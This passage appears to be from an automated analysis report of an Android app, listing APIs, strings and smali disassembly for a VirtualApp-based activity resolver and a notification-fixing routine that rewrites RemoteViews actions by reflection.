                              • android.net.Uri.getScheme
                              • android.content.IntentFilter.addDataScheme
                              • android.content.pm.ResolveInfo.filter:Landroid/content/IntentFilter
                              • android.content.IntentFilter.schemeSpecificPartsIterator
                              • android.net.Uri.getSchemeSpecificPart
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.os.PatternMatcher.match
                              • android.os.PatternMatcher.getPath
                              • android.os.PatternMatcher.getType
                              • android.content.IntentFilter.addDataSchemeSpecificPart
                              • android.content.pm.ResolveInfo.filter:Landroid/content/IntentFilter
                              • android.content.IntentFilter.authoritiesIterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.content.IntentFilter$AuthorityEntry.match
                              • android.content.IntentFilter$AuthorityEntry.getPort
                              • android.content.IntentFilter$AuthorityEntry.getHost
                              • java.lang.Integer.toString
                              • android.content.IntentFilter.addDataAuthority
                              • android.content.pm.ResolveInfo.filter:Landroid/content/IntentFilter
                              • android.content.IntentFilter.pathsIterator
                              • android.net.Uri.getPath
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.os.PatternMatcher.match
                              • android.os.PatternMatcher.getPath
                              • android.os.PatternMatcher.getType
                              • android.content.IntentFilter.addDataPath
                              • com.tmk.ywb.activity.ResolverActivity.mAdapter:Lcom/tmk/ywb/activity/ResolverActivity$ResolveListAdapter
                              • com.tmk.ywb.activity.ResolverActivity$ResolveListAdapter.mOrigResolveList:Ljava/util/List
                              • java.util.List.size
                              • com.tmk.ywb.activity.ResolverActivity.mAdapter:Lcom/tmk/ywb/activity/ResolverActivity$ResolveListAdapter
                              • com.tmk.ywb.activity.ResolverActivity$ResolveListAdapter.mOrigResolveList:Ljava/util/List
                              • java.util.List.get
                              • android.content.pm.ResolveInfo.activityInfo:Landroid/content/pm/ActivityInfo
                              • android.content.pm.ActivityInfo.packageName:Ljava/lang/String
                              • android.content.pm.ResolveInfo.activityInfo:Landroid/content/pm/ActivityInfo
                              • android.content.pm.ActivityInfo.name:Ljava/lang/String
                              • android.content.ComponentName.<init>
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.tmk.ywb.activity.ResolverActivity.getPackageManager
                              • android.content.Intent.getComponent
                              • android.content.pm.PackageManager.addPreferredActivity
                              • com.tmk.ywb.activity.ResolverActivity.startActivity
                              • com.lody.virtual.client.VClientImpl.get
                              • com.lody.virtual.client.VClientImpl.getCurrentApplication
                              • android.app.Application.getPackageManager
                              • com.tmk.ywb.activity.ResolverActivity.getContentResolver
                              • android.content.Intent.resolveTypeIfNeeded
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.valueOf
                              • android.content.Intent.getComponent
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.tmk.ywb.activity.ResolverActivity.mOptions:Landroid/os/Bundle
                              • com.tmk.ywb.activity.ResolverActivity.mResultWho:Ljava/lang/String
                              Strings
                              • android.intent.category.DEFAULT
                              • file
                              • content
                              • ResolverActivity
                              • mimeType\n
                              • setLastChosenActivity
                              • Error calling setLastChosenActivity\n
                              Position Instruction Meta Information
                              0.prologue
                              1const/high16 v8, 0x600000
                              2const/4 v3, 0x0
                              3const/4 v4, 0x0
                              4iget-boolean v0, p0, Lcom/tmk/ywb/activity/ResolverActivity;->mAlwaysUseOption:Z
                              5if-eqz v0, :cond_16a
                              7iget-object v0, p0, Lcom/tmk/ywb/activity/ResolverActivity;->mAdapter:Lcom/tmk/ywb/activity/ResolverActivity$ResolveListAdapter;
                              9iget-object v0, v0, Lcom/tmk/ywb/activity/ResolverActivity$ResolveListAdapter;->mOrigResolveList:Ljava/util/List;
                              10if-eqz v0, :cond_16a
                              11new-instance v1, Landroid/content/IntentFilter;
                              13invoke-direct {v1}, Landroid/content/IntentFilter;-><init>()V
                              15invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                              16move-result-object v0
                              17if-eqz v0, :cond_20
                              19invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                              20move-result-object v0
                              22invoke-virtual {v1, v0}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
                              23cond_20:
                              24invoke-virtual {p2}, Landroid/content/Intent;->getCategories()Ljava/util/Set;
                              25move-result-object v0
                              26if-eqz v0, :cond_3a
                              28invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                              29move-result-object v2
                              30goto_2a:
                              31invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                              32move-result v0
                              33if-eqz v0, :cond_3a
                              35invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              36move-result-object v0
                              37check-cast v0, Ljava/lang/String;
                              39invoke-virtual {v1, v0}, Landroid/content/IntentFilter;->addCategory(Ljava/lang/String;)V
                              40goto/16 :goto_2a
                              41cond_3a:
                              42const-string v0, "android.intent.category.DEFAULT"
                              44invoke-virtual {v1, v0}, Landroid/content/IntentFilter;->addCategory(Ljava/lang/String;)V
                              45iget v0, p1, Landroid/content/pm/ResolveInfo;->match:I
                              46const/high16 v2, 0xfff0000
                              47and-int/2addr v0, v2
                              49invoke-virtual {p2}, Landroid/content/Intent;->getData()Landroid/net/Uri;
                              50move-result-object v2
                              51if-ne v0, v8, :cond_1f1
                              53invoke-virtual {p2, p0}, Landroid/content/Intent;->resolveType(Landroid/content/Context;)Ljava/lang/String;
                              54move-result-object v5
                              55if-eqz v5, :cond_1f1
                              56try_start_50:
                              57invoke-virtual {v1, v5}, Landroid/content/IntentFilter;->addDataType(Ljava/lang/String;)V
                              58try_end_53: move-object v5, v1
                              59goto_54: if-eqz v2, :cond_104
                              61invoke-virtual {v2}, Landroid/net/Uri;->getScheme()Ljava/lang/String;
                              62move-result-object v1
                              63if-eqz v1, :cond_104
                              64if-ne v0, v8, :cond_76
                              66const-string v0, "file"
                              68invoke-virtual {v2}, Landroid/net/Uri;->getScheme()Ljava/lang/String;
                              69move-result-object v1
                              71invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              72move-result v0
                              73if-nez v0, :cond_104
                              75const-string v0, "content"
                              77invoke-virtual {v2}, Landroid/net/Uri;->getScheme()Ljava/lang/String;
                              78move-result-object v1
                              80invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              81move-result v0
                              82if-nez v0, :cond_104
                              83cond_76:
                              84invoke-virtual {v2}, Landroid/net/Uri;->getScheme()Ljava/lang/String;
                              85move-result-object v0
                              87invoke-virtual {v5, v0}, Landroid/content/IntentFilter;->addDataScheme(Ljava/lang/String;)V
                              88sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              89const/16 v1, 0x13
                              90if-lt v0, v1, :cond_104
                              92iget-object v0, p1, Landroid/content/pm/ResolveInfo;->filter:Landroid/content/IntentFilter;
                              94invoke-virtual {v0}, Landroid/content/IntentFilter;->schemeSpecificPartsIterator()Ljava/util/Iterator;
                              95move-result-object v1
                              96if-eqz v1, :cond_ae
                              98invoke-virtual {v2}, Landroid/net/Uri;->getSchemeSpecificPart()Ljava/lang/String;
                              99move-result-object v6
                              100cond_8f: if-eqz v6, :cond_ae
                              102invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                              103move-result v0
                              104if-eqz v0, :cond_ae
                              106invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              107move-result-object v0
                              108check-cast v0, Landroid/os/PatternMatcher;
                              110invoke-virtual {v0, v6}, Landroid/os/PatternMatcher;->match(Ljava/lang/String;)Z
                              111move-result v7
                              112if-eqz v7, :cond_8f
                              114invoke-virtual {v0}, Landroid/os/PatternMatcher;->getPath()Ljava/lang/String;
                              115move-result-object v1
                              117invoke-virtual {v0}, Landroid/os/PatternMatcher;->getType()I
                              118move-result v0
                              120invoke-virtual {v5, v1, v0}, Landroid/content/IntentFilter;->addDataSchemeSpecificPart(Ljava/lang/String;I)V
                              121cond_ae:
                              122iget-object v0, p1, Landroid/content/pm/ResolveInfo;->filter:Landroid/content/IntentFilter;
                              124invoke-virtual {v0}, Landroid/content/IntentFilter;->authoritiesIterator()Ljava/util/Iterator;
                              125move-result-object v1
                              126if-eqz v1, :cond_d9
                              127cond_b6:
                              128invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                              129move-result v0
                              130if-eqz v0, :cond_d9
                              132invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              133move-result-object v0
                              134check-cast v0, Landroid/content/IntentFilter$AuthorityEntry;
                              136invoke-virtual {v0, v2}, Landroid/content/IntentFilter$AuthorityEntry;->match(Landroid/net/Uri;)I
                              137move-result v6
                              138if-ltz v6, :cond_b6
                              140invoke-virtual {v0}, Landroid/content/IntentFilter$AuthorityEntry;->getPort()I
                              141move-result v1
                              143invoke-virtual {v0}, Landroid/content/IntentFilter$AuthorityEntry;->getHost()Ljava/lang/String;
                              144move-result-object v6
                              145if-ltz v1, :cond_15a
                              147invoke-static {v1}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
                              148move-result-object v0
                              149goto_d6:
                              150invoke-virtual {v5, v6, v0}, Landroid/content/IntentFilter;->addDataAuthority(Ljava/lang/String;Ljava/lang/String;)V
                              151cond_d9:
                              152iget-object v0, p1, Landroid/content/pm/ResolveInfo;->filter:Landroid/content/IntentFilter;
                              154invoke-virtual {v0}, Landroid/content/IntentFilter;->pathsIterator()Ljava/util/Iterator;
                              155move-result-object v1
                              156if-eqz v1, :cond_104
                              158invoke-virtual {v2}, Landroid/net/Uri;->getPath()Ljava/lang/String;
                              159move-result-object v2
                              160cond_e5: if-eqz v2, :cond_104
                              162invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                              163move-result v0
                              164if-eqz v0, :cond_104
                              166invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              167move-result-object v0
                              168check-cast v0, Landroid/os/PatternMatcher;
                              170invoke-virtual {v0, v2}, Landroid/os/PatternMatcher;->match(Ljava/lang/String;)Z
                              171move-result v6
                              172if-eqz v6, :cond_e5
                              174invoke-virtual {v0}, Landroid/os/PatternMatcher;->getPath()Ljava/lang/String;
                              175move-result-object v1
                              177invoke-virtual {v0}, Landroid/os/PatternMatcher;->getType()I
                              178move-result v0
                              180invoke-virtual {v5, v1, v0}, Landroid/content/IntentFilter;->addDataPath(Ljava/lang/String;I)V
                              181cond_104: if-eqz v5, :cond_16a
                              183iget-object v0, p0, Lcom/tmk/ywb/activity/ResolverActivity;->mAdapter:Lcom/tmk/ywb/activity/ResolverActivity$ResolveListAdapter;
                              185iget-object v0, v0, Lcom/tmk/ywb/activity/ResolverActivity$ResolveListAdapter;->mOrigResolveList:Ljava/util/List;
                              187invoke-interface {v0}, Ljava/util/List;->size()I
                              188move-result v6
                              189new-array v7, v6, [Landroid/content/ComponentName;
                              190move v2, v4
                              191move v1, v4
                              192goto_112: if-ge v2, v6, :cond_15d
                              194iget-object v0, p0, Lcom/tmk/ywb/activity/ResolverActivity;->mAdapter:Lcom/tmk/ywb/activity/ResolverActivity$ResolveListAdapter;
                              196iget-object v0, v0, Lcom/tmk/ywb/activity/ResolverActivity$ResolveListAdapter;->mOrigResolveList:Ljava/util/List;
                              198invoke-interface {v0, v2}, Ljava/util/List;->get(I)Ljava/lang/Object;
                              199move-result-object v0
                              200check-cast v0, Landroid/content/pm/ResolveInfo;
                              201new-instance v8, Landroid/content/ComponentName;
                              203iget-object v9, v0, Landroid/content/pm/ResolveInfo;->activityInfo:Landroid/content/pm/ActivityInfo;
                              205iget-object v9, v9, Landroid/content/pm/ActivityInfo;->packageName:Ljava/lang/String;
                              207iget-object v10, v0, Landroid/content/pm/ResolveInfo;->activityInfo:Landroid/content/pm/ActivityInfo;
                              209iget-object v10, v10, Landroid/content/pm/ActivityInfo;->name:Ljava/lang/String;
                              211invoke-direct {v8, v9, v10}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                              212aput-object v8, v7, v2
                              213iget v8, v0, Landroid/content/pm/ResolveInfo;->match:I
                              214if-le v8, v1, :cond_1ee
                              215iget v0, v0, Landroid/content/pm/ResolveInfo;->match:I
                              216goto_133: add-int/lit8 v1, v2, 0x1
                              217move v2, v1
                              218move v1, v0
                              219goto/16 :goto_112
                              220catch_138: move-exception v1
                              222const-string v5, "ResolverActivity"
                              223new-instance v6, Ljava/lang/StringBuilder;
                              225invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                              227const-string v7, "mimeType\n"
                              229invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              230move-result-object v6
                              232invoke-static {v1}, Lcom/lody/virtual/helper/utils/VLog;->getStackTraceString(Ljava/lang/Throwable;)Ljava/lang/String;
                              233move-result-object v1
                              235invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              236move-result-object v1
                              238invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              239move-result-object v1
                              240new-array v6, v4, [Ljava/lang/Object;
                              242invoke-static {v5, v1, v6}, Lcom/lody/virtual/helper/utils/VLog;->w(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/Object;)V
                              243move-object v5, v3
                              244goto/16 :goto_54
                              245cond_15a: move-object v0, v3
                              246goto/16 :goto_d6
                              247cond_15d: if-eqz p3, :cond_17c
                              249invoke-virtual {p0}, Lcom/tmk/ywb/activity/ResolverActivity;->getPackageManager()Landroid/content/pm/PackageManager;
                              250move-result-object v0
                              252invoke-virtual {p2}, Landroid/content/Intent;->getComponent()Landroid/content/ComponentName;
                              253move-result-object v2
                              255invoke-virtual {v0, v5, v1, v7, v2}, Landroid/content/pm/PackageManager;->addPreferredActivity(Landroid/content/IntentFilter;I[Landroid/content/ComponentName;Landroid/content/ComponentName;)V
                              256cond_16a: if-eqz p2, :cond_17b
                              258invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->get()Lcom/lody/virtual/client/core/VirtualCore;
                              259move-result-object v0
                              260iget v1, p0, Lcom/tmk/ywb/activity/ResolverActivity;->mLaunchedFromUid:I
                              262invoke-virtual {v0, p2, v1}, Lcom/lody/virtual/client/core/VirtualCore;->resolveActivityInfo(Landroid/content/Intent;I)Landroid/content/pm/ActivityInfo;
                              263move-result-object v2
                              264if-nez v2, :cond_1dd
                              266invoke-virtual {p0, p2}, Lcom/tmk/ywb/activity/ResolverActivity;->startActivity(Landroid/content/Intent;)V
                              267cond_17b: return-void
                              268try_start_17c:
                              269invoke-static {}, Lcom/lody/virtual/client/VClientImpl;->get()Lcom/lody/virtual/client/VClientImpl;
                              270move-result-object v0
                              272invoke-virtual {v0}, Lcom/lody/virtual/client/VClientImpl;->getCurrentApplication()Landroid/app/Application;
                              273move-result-object v0
                              275invoke-virtual {v0}, Landroid/app/Application;->getPackageManager()Landroid/content/pm/PackageManager;
                              276move-result-object v0
                              278invoke-static {v0}, Lcom/lody/virtual/helper/utils/Reflect;->on(Ljava/lang/Object;)Lcom/lody/virtual/helper/utils/Reflect;
                              279move-result-object v0
                              281const-string v2, "setLastChosenActivity"
                              282const/4 v6, 0x6
                              283new-array v6, v6, [Ljava/lang/Object;
                              284const/4 v7, 0x0
                              285aput-object p2, v6, v7
                              286const/4 v7, 0x1
                              288invoke-virtual {p0}, Lcom/tmk/ywb/activity/ResolverActivity;->getContentResolver()Landroid/content/ContentResolver;
                              289move-result-object v8
                              291invoke-virtual {p2, v8}, Landroid/content/Intent;->resolveTypeIfNeeded(Landroid/content/ContentResolver;)Ljava/lang/String;
                              292move-result-object v8
                              293aput-object v8, v6, v7
                              294const/4 v7, 0x2
                              295const/high16 v8, 0x10000
                              297invoke-static {v8}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              298move-result-object v8
                              299aput-object v8, v6, v7
                              300const/4 v7, 0x3
                              301aput-object v5, v6, v7
                              302const/4 v5, 0x4
                              304invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              305move-result-object v1
                              306aput-object v1, v6, v5
                              307const/4 v1, 0x5
                              309invoke-virtual {p2}, Landroid/content/Intent;->getComponent()Landroid/content/ComponentName;
                              310move-result-object v5
                              311aput-object v5, v6, v1
                              313invoke-virtual {v0, v2, v6}, Lcom/lody/virtual/helper/utils/Reflect;->call(Ljava/lang/String;[Ljava/lang/Object;)Lcom/lody/virtual/helper/utils/Reflect;
                              314try_end_1bc: goto/16 :goto_16a
                              315catch_1bd: move-exception v0
                              317const-string v1, "ResolverActivity"
                              318new-instance v2, Ljava/lang/StringBuilder;
                              320invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              322const-string v5, "Error calling setLastChosenActivity\n"
                              324invoke-virtual {v2, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              325move-result-object v2
                              327invoke-static {v0}, Lcom/lody/virtual/helper/utils/VLog;->getStackTraceString(Ljava/lang/Throwable;)Ljava/lang/String;
                              328move-result-object v0
                              330invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              331move-result-object v0
                              333invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              334move-result-object v0
                              335new-array v2, v4, [Ljava/lang/Object;
                              337invoke-static {v1, v0, v2}, Lcom/lody/virtual/helper/utils/VLog;->d(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/Object;)V
                              338goto/16 :goto_16a
                              339cond_1dd:
                              340invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              341move-result-object v0
                              343iget-object v4, p0, Lcom/tmk/ywb/activity/ResolverActivity;->mOptions:Landroid/os/Bundle;
                              345iget-object v5, p0, Lcom/tmk/ywb/activity/ResolverActivity;->mResultWho:Ljava/lang/String;
                              346iget v6, p0, Lcom/tmk/ywb/activity/ResolverActivity;->mRequestCode:I
                              347iget v7, p0, Lcom/tmk/ywb/activity/ResolverActivity;->mLaunchedFromUid:I
                              348move-object v1, p2
                              350invoke-virtual/range {v0 .. v7}, Lcom/lody/virtual/client/ipc/VActivityManager;->startActivity(Landroid/content/Intent;Landroid/content/pm/ActivityInfo;Landroid/os/IBinder;Landroid/os/Bundle;Ljava/lang/String;II)I
                              351goto/16 :goto_17b
                              352cond_1ee: move v0, v1
                              353goto/16 :goto_133
                              354cond_1f1: move-object v5, v1
                              355goto/16 :goto_54
                              Cross References
                              APIs
                              • java.util.ArrayList.<init>
                              • java.util.ArrayList.size
                              • java.util.ArrayList.get
                              • java.lang.Object.getClass
                              • java.lang.Class.getSimpleName
                              • java.lang.String.endsWith
                              • java.util.ArrayList.remove
                              • java.lang.Object.getClass
                              • java.lang.Class.getSimpleName
                              • java.lang.String.endsWith
                              • java.lang.Integer.intValue
                              • java.lang.Integer.intValue
                              • java.lang.Integer.intValue
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.String.equals
                              • android.content.Context.getResources
                              • java.lang.Integer.intValue
                              • android.content.res.Resources.getDrawable
                              • java.util.List.add
                              • java.util.ArrayList.remove
                              • java.lang.String.equals
                              • java.lang.Integer.valueOf
                              • android.content.Context.getResources
                              • java.lang.Integer.intValue
                              • android.content.res.Resources.getString
                              • java.lang.String.equals
                              • java.util.ArrayList.remove
                              • java.lang.String.equals
                              • java.util.ArrayList.remove
                              • java.lang.String.equals
                              • android.net.Uri.getScheme
                              • java.lang.String.startsWith
                              • java.util.ArrayList.remove
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.widget.RemoteViews.setBitmap
                              Strings
                              • mActions
                              • TextViewDrawableAction
                              • ReflectionAction
                              • viewId
                              • methodName
                              • type
                              • value
                              • find icon
                              • type=
                              • , value=
                              • setImageResource
                              • setImageBitmap
                              • setText
                              • setLabelFor
                              • setBackgroundResource
                              • setImageURI
                              • http
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v5, 0x0
                              2if-eqz p3, :cond_1af
                              4sget-object v1, Lmirror/com/android/internal/R_Hide$id;->icon:Lmirror/RefStaticInt;
                              6invoke-virtual {v1}, Lmirror/RefStaticInt;->get()I
                              7move-result v7
                              8new-instance v8, Ljava/util/ArrayList;
                              10invoke-direct {v8}, Ljava/util/ArrayList;-><init>()V
                              12invoke-static/range {p3 .. p3}, Lcom/lody/virtual/helper/utils/Reflect;->on(Ljava/lang/Object;)Lcom/lody/virtual/helper/utils/Reflect;
                              13move-result-object v1
                              15const-string v2, "mActions"
                              17invoke-virtual {v1, v2}, Lcom/lody/virtual/helper/utils/Reflect;->get(Ljava/lang/String;)Ljava/lang/Object;
                              18move-result-object v1
                              19check-cast v1, Ljava/util/ArrayList;
                              20if-eqz v1, :cond_19a
                              22invoke-virtual {v1}, Ljava/util/ArrayList;->size()I
                              23move-result v2
                              24add-int/lit8 v2, v2, -0x1
                              25move v6, v2
                              26goto_23: if-ltz v6, :cond_17e
                              28invoke-virtual {v1, v6}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
                              29move-result-object v9
                              30if-nez v9, :cond_31
                              31move v3, v5
                              32goto_2c: add-int/lit8 v2, v6, -0x1
                              33move v6, v2
                              34move v5, v3
                              35goto/16 :goto_23
                              36cond_31:
                              37invoke-virtual {v9}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              38move-result-object v2
                              40invoke-virtual {v2}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String;
                              41move-result-object v2
                              43const-string v3, "TextViewDrawableAction"
                              45invoke-virtual {v2, v3}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                              46move-result v2
                              47if-eqz v2, :cond_46
                              49invoke-virtual {v1, v9}, Ljava/util/ArrayList;->remove(Ljava/lang/Object;)Z
                              50move v3, v5
                              51goto/16 :goto_2c
                              52cond_46:
                              53invoke-static {v9}, Lcom/lody/virtual/server/notification/ReflectionActionCompat;->isInstance(Ljava/lang/Object;)Z
                              54move-result v2
                              55if-nez v2, :cond_5c
                              57invoke-virtual {v9}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              58move-result-object v2
                              60invoke-virtual {v2}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String;
                              61move-result-object v2
                              63const-string v3, "ReflectionAction"
                              65invoke-virtual {v2, v3}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                              66move-result v2
                              67if-eqz v2, :cond_1b6
                              68cond_5c:
                              69invoke-static {v9}, Lcom/lody/virtual/helper/utils/Reflect;->on(Ljava/lang/Object;)Lcom/lody/virtual/helper/utils/Reflect;
                              70move-result-object v2
                              72const-string v3, "viewId"
                              74invoke-virtual {v2, v3}, Lcom/lody/virtual/helper/utils/Reflect;->get(Ljava/lang/String;)Ljava/lang/Object;
                              75move-result-object v2
                              76check-cast v2, Ljava/lang/Integer;
                              78invoke-virtual {v2}, Ljava/lang/Integer;->intValue()I
                              79move-result v10
                              81invoke-static {v9}, Lcom/lody/virtual/helper/utils/Reflect;->on(Ljava/lang/Object;)Lcom/lody/virtual/helper/utils/Reflect;
                              82move-result-object v2
                              84const-string v3, "methodName"
                              86invoke-virtual {v2, v3}, Lcom/lody/virtual/helper/utils/Reflect;->get(Ljava/lang/String;)Ljava/lang/Object;
                              87move-result-object v2
                              88check-cast v2, Ljava/lang/String;
                              90invoke-static {v9}, Lcom/lody/virtual/helper/utils/Reflect;->on(Ljava/lang/Object;)Lcom/lody/virtual/helper/utils/Reflect;
                              91move-result-object v3
                              93const-string v4, "type"
                              95invoke-virtual {v3, v4}, Lcom/lody/virtual/helper/utils/Reflect;->get(Ljava/lang/String;)Ljava/lang/Object;
                              96move-result-object v3
                              97check-cast v3, Ljava/lang/Integer;
                              99invoke-virtual {v3}, Ljava/lang/Integer;->intValue()I
                              100move-result v11
                              102invoke-static {v9}, Lcom/lody/virtual/helper/utils/Reflect;->on(Ljava/lang/Object;)Lcom/lody/virtual/helper/utils/Reflect;
                              103move-result-object v3
                              105const-string v4, "value"
                              107invoke-virtual {v3, v4}, Lcom/lody/virtual/helper/utils/Reflect;->get(Ljava/lang/String;)Ljava/lang/Object;
                              108move-result-object v4
                              109if-nez v5, :cond_1b3
                              110if-ne v10, v7, :cond_101
                              111const/4 v5, 0x1
                              112goto_97: if-eqz v5, :cond_1b3
                              113const/4 v3, 0x4
                              114if-ne v11, v3, :cond_1b0
                              115move-object v3, v4
                              116check-cast v3, Ljava/lang/Integer;
                              118invoke-virtual {v3}, Ljava/lang/Integer;->intValue()I
                              119move-result v3
                              120if-nez v3, :cond_1b0
                              121const/4 v5, 0x0
                              122move v3, v5
                              123goto_a7: if-eqz v3, :cond_d8
                              125sget-object v5, Lcom/lody/virtual/server/notification/NotificationFixer;->TAG:Ljava/lang/String;
                              126new-instance v12, Ljava/lang/StringBuilder;
                              128invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
                              130const-string v13, "find icon "
                              132invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              133move-result-object v12
                              135invoke-virtual {v12, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              136move-result-object v12
                              138const-string v13, " type="
                              140invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              141move-result-object v12
                              143invoke-virtual {v12, v11}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              144move-result-object v12
                              146const-string v13, ", value="
                              148invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              149move-result-object v12
                              151invoke-virtual {v12, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              152move-result-object v12
                              154invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              155move-result-object v12
                              156const/4 v13, 0x0
                              157new-array v13, v13, [Ljava/lang/Object;
                              159invoke-static {v5, v12, v13}, Lcom/lody/virtual/helper/utils/VLog;->v(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/Object;)V
                              160cond_d8:
                              161const-string v5, "setImageResource"
                              163invoke-virtual {v2, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              164move-result v5
                              165if-eqz v5, :cond_103
                              166new-instance v2, Lcom/lody/virtual/server/notification/NotificationFixer$BitmapReflectionAction;
                              168const-string v5, "setImageBitmap"
                              170invoke-virtual {p1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                              171move-result-object v11
                              172check-cast v4, Ljava/lang/Integer;
                              174invoke-virtual {v4}, Ljava/lang/Integer;->intValue()I
                              175move-result v4
                              177invoke-virtual {v11, v4}, Landroid/content/res/Resources;->getDrawable(I)Landroid/graphics/drawable/Drawable;
                              178move-result-object v4
                              180invoke-static {v4}, Lcom/lody/virtual/server/notification/NotificationFixer;->drawableToBitMap(Landroid/graphics/drawable/Drawable;)Landroid/graphics/Bitmap;
                              181move-result-object v4
                              183invoke-direct {v2, v10, v5, v4}, Lcom/lody/virtual/server/notification/NotificationFixer$BitmapReflectionAction;-><init>(ILjava/lang/String;Landroid/graphics/Bitmap;)V
                              185invoke-interface {v8, v2}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                              187invoke-virtual {v1, v9}, Ljava/util/ArrayList;->remove(Ljava/lang/Object;)Z
                              188goto/16 :goto_2c
                              189cond_101: const/4 v5, 0x0
                              190goto/16 :goto_97
                              191cond_103:
                              192const-string v5, "setText"
                              194invoke-virtual {v2, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              195move-result v5
                              196if-eqz v5, :cond_136
                              197const/4 v5, 0x4
                              198if-ne v11, v5, :cond_136
                              200invoke-static {v9}, Lcom/lody/virtual/helper/utils/Reflect;->on(Ljava/lang/Object;)Lcom/lody/virtual/helper/utils/Reflect;
                              201move-result-object v2
                              203const-string v5, "type"
                              204const/16 v10, 0x9
                              206invoke-static {v10}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              207move-result-object v10
                              209invoke-virtual {v2, v5, v10}, Lcom/lody/virtual/helper/utils/Reflect;->set(Ljava/lang/String;Ljava/lang/Object;)Lcom/lody/virtual/helper/utils/Reflect;
                              211invoke-static {v9}, Lcom/lody/virtual/helper/utils/Reflect;->on(Ljava/lang/Object;)Lcom/lody/virtual/helper/utils/Reflect;
                              212move-result-object v2
                              214const-string v5, "value"
                              216invoke-virtual {p1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                              217move-result-object v9
                              218check-cast v4, Ljava/lang/Integer;
                              220invoke-virtual {v4}, Ljava/lang/Integer;->intValue()I
                              221move-result v4
                              223invoke-virtual {v9, v4}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
                              224move-result-object v4
                              226invoke-virtual {v2, v5, v4}, Lcom/lody/virtual/helper/utils/Reflect;->set(Ljava/lang/String;Ljava/lang/Object;)Lcom/lody/virtual/helper/utils/Reflect;
                              227goto/16 :goto_2c
                              228cond_136:
                              229const-string v5, "setLabelFor"
